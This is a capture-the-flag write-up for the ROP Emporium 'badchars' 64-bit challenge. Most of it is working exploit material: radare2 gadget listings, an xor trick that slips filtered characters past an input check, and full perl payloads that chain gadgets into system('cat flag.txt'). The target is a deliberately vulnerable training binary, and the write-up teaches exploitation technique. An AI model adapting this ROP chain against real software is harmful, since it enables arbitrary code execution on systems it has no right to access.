This challenge has a different pwnme function to the previous ones. The stack buffer overflow part is similar (0x200 bytes).

 $ perl -e 'print(("\x00" x 0x28) . "aaaaa")' |
   gdb ./badchars --batch -ex run
 badchars by ROP Emporium
 64bits
 
 badchars are: b i c / <space> f n s
 >
 Program received signal SIGSEGV, Segmentation fault.
 0x0000006161616161 in ?? ()

However the initial fgets stores the input in a correctly sized heap buffer and filters certain characters with checkBadchars(). Only after that the data is memcpyed to the small stack buffer and causing an overflow.

As with all Rop Emporium challenges, we can get a leg up by searching for “useful” symbols.

$ r2 ./badchars -qc "is" | grep useful
041 0x000009df 0x004009df  LOCAL   FUNC   17 usefulFunction
079 0x00000b30 0x00400b30 GLOBAL NOTYPE    0 usefulGadgets

The usefulFunction() merely contains a call to system().

$ r2 ./badchars -qc "aaa; pdf @ sym.usefulFunction"
/ (fcn) sym.usefulFunction 17
|   sym.usefulFunction ();
|           0x004009df      push rbp
|           0x004009e0      mov rbp, rsp
|           0x004009e3      mov edi, str.bin_ls
|           0x004009e8      call sym.imp.system
|           0x004009ed      nop
|           0x004009ee      pop rbp
\           0x004009ef      ret

$ r2 ./badchars -qc "pd 12 @ 0x00400b30"
            ;-- usefulGadgets:
            0x00400b30      xor byte [r15], r14b
            0x00400b33      ret
            0x00400b34      mov qword [r13], r12
            0x00400b38      ret
            0x00400b39      pop rdi
            0x00400b3a      ret
            0x00400b3b      pop r12
            0x00400b3d      pop r13
            0x00400b3f      ret
            0x00400b40      pop r14
            0x00400b42      pop r15
            0x00400b44      ret

So similar to previous challenges, we need to smuggle our shell command into a writable region of memory (start of .bss is good), load that address into rdi register and then jmp to the call to system(). The twist this time is that we need to encode the “bad” characters in the exploit string somehow so they don’t get filtered and then decode them once they are written to the .bss buffer. We can use the xor gadget for that.

The first part of our exploit, to smuggle the shell command into writable memory looks like this.

0x00000000400b3b  # pop r12, pop r13
0x616c6620746163  # "cat fla" (src)
0x00000000601080  # .bss      (dst)
0x00000000400b34  # mov qword [r13], r12
0x00000000400b3b  # pop r12, pop r13
0x00007478742e67  # "g.txt" (src)
0x00000000601087  # .bss +7 (dst)
0x00000000400b34  # mov qword [r13], r12

$ perl -e 'print(("\x00" x 0x28) .
                 "\x3b\x0b\x40\x00\x00\x00\x00\x00" .
                 "\x63\x61\x74\x20\x66\x6c\x61\x00" .
                 "\x80\x10\x60\x00\x00\x00\x00\x00" .
                 "\x34\x0b\x40\x00\x00\x00\x00\x00" .
                 "\x3b\x0b\x40\x00\x00\x00\x00\x00" .
                 "\x67\x2e\x74\x78\x74\x00\x00\x00" .
                 "\x87\x10\x60\x00\x00\x00\x00\x00" .
                 "\x34\x0b\x40\x00\x00\x00\x00\x00")' |
  gdb ./badchars --batch -ex run -ex "x/s 0x00000000601080"
badchars by ROP Emporium
64bits

badchars are: b i c / <space> f n s
>
Program received signal SIGSEGV, Segmentation fault.
0x0000000000000000 in ?? ()
0x601080 <stdout@@GLIBC_2.2.5>: "\353at\353\353lag.txt"

Examining the destination buffer as a string with GDB shows some of the characters have been filtered as expected.

Since all ASCII values are between 0x0-0x7f, an easy way to encode them is to set the highest bit (0x80) on input and then take it away with xor. The filtered letters are 'c' (0x63), ' ' (0x20) and 'f' (0x66).

printf %02x $((0x63 | 0x80)) => 0xe3
printf %02x $((0x20 | 0x80)) => 0xa0
printf %02x $((0x66 | 0x80)) => 0xe6

So

0x616c6620746163  # "cat fla"
0x00007478742e67  # "g.txt"

becomes

0x616ce6a07461e3
0x00007478742e67

And to decode the 3 “bad” characters we add

0x00000000400b40  # pop r14, pop r15
0x00000000000080  # xor character
0x00000000601080  # .bss + 0 ('c')
0x00000000400b30  # xor byte [r15], r14b

0x00000000400b42  # pop r15
0x00000000601083  # .bss + 3 (' ')
0x00000000400b30  # xor byte [r15], r14b

0x00000000400b42  # pop r15
0x00000000601084  # .bss + 4 ('f')
0x00000000400b30  # xor byte [r15], r14b

$ perl -e 'print(("\x00" x 0x28) .
                 "\x3b\x0b\x40\x00\x00\x00\x00\x00" .
                 "\xe3\x61\x74\xa0\xe6\x6c\x61\x00" .
                 "\x80\x10\x60\x00\x00\x00\x00\x00" .
                 "\x34\x0b\x40\x00\x00\x00\x00\x00" .
                 "\x3b\x0b\x40\x00\x00\x00\x00\x00" .
                 "\x67\x2e\x74\x78\x74\x00\x00\x00" .
                 "\x87\x10\x60\x00\x00\x00\x00\x00" .
                 "\x34\x0b\x40\x00\x00\x00\x00\x00" .
                 "\x40\x0b\x40\x00\x00\x00\x00\x00" .
                 "\x80\x00\x00\x00\x00\x00\x00\x00" .
                 "\x80\x10\x60\x00\x00\x00\x00\x00" .
                 "\x30\x0b\x40\x00\x00\x00\x00\x00" .
                 "\x42\x0b\x40\x00\x00\x00\x00\x00" .
                 "\x83\x10\x60\x00\x00\x00\x00\x00" .
                 "\x30\x0b\x40\x00\x00\x00\x00\x00" .
                 "\x42\x0b\x40\x00\x00\x00\x00\x00" .
                 "\x84\x10\x60\x00\x00\x00\x00\x00" .
                 "\x30\x0b\x40\x00\x00\x00\x00\x00")' |
  gdb ./badchars --batch -ex run -ex "x/s 0x00000000601080"
badchars by ROP Emporium
64bits

badchars are: b i c / <space> f n s
>
Program received signal SIGSEGV, Segmentation fault.
0x0000000000000000 in ?? ()
0x601080 <stdout@@GLIBC_2.2.5>: "cat flag.txt"

Now we have bypassed the filter and have the shell command in memory we only need to load it into the rdi register (first argument for a function) and jmp to the call to system().

0x00000000400b39  # pop rdi
0x00000000601080  # .bss
0x000000004009e8  # call sym.imp.system

$ perl -e 'print(("\x00" x 0x28) .
                 "\x3b\x0b\x40\x00\x00\x00\x00\x00" .
                 "\xe3\x61\x74\xa0\xe6\x6c\x61\x00" .
                 "\x80\x10\x60\x00\x00\x00\x00\x00" .
                 "\x34\x0b\x40\x00\x00\x00\x00\x00" .
                 "\x3b\x0b\x40\x00\x00\x00\x00\x00" .
                 "\x67\x2e\x74\x78\x74\x00\x00\x00" .
                 "\x87\x10\x60\x00\x00\x00\x00\x00" .
                 "\x34\x0b\x40\x00\x00\x00\x00\x00" .
                 "\x40\x0b\x40\x00\x00\x00\x00\x00" .
                 "\x80\x00\x00\x00\x00\x00\x00\x00" .
                 "\x80\x10\x60\x00\x00\x00\x00\x00" .
                 "\x30\x0b\x40\x00\x00\x00\x00\x00" .
                 "\x42\x0b\x40\x00\x00\x00\x00\x00" .
                 "\x83\x10\x60\x00\x00\x00\x00\x00" .
                 "\x30\x0b\x40\x00\x00\x00\x00\x00" .
                 "\x42\x0b\x40\x00\x00\x00\x00\x00" .
                 "\x84\x10\x60\x00\x00\x00\x00\x00" .
                 "\x30\x0b\x40\x00\x00\x00\x00\x00" .
                 "\x39\x0b\x40\x00\x00\x00\x00\x00" .
                 "\x80\x10\x60\x00\x00\x00\x00\x00" .
                 "\xe8\x09\x40\x00\x00\x00\x00\x00")' | ./badchars
badchars by ROP Emporium
64bits

badchars are: b i c / <space> f n s
> ROPE{a_placeholder_32byte_flag!}
Segmentation fault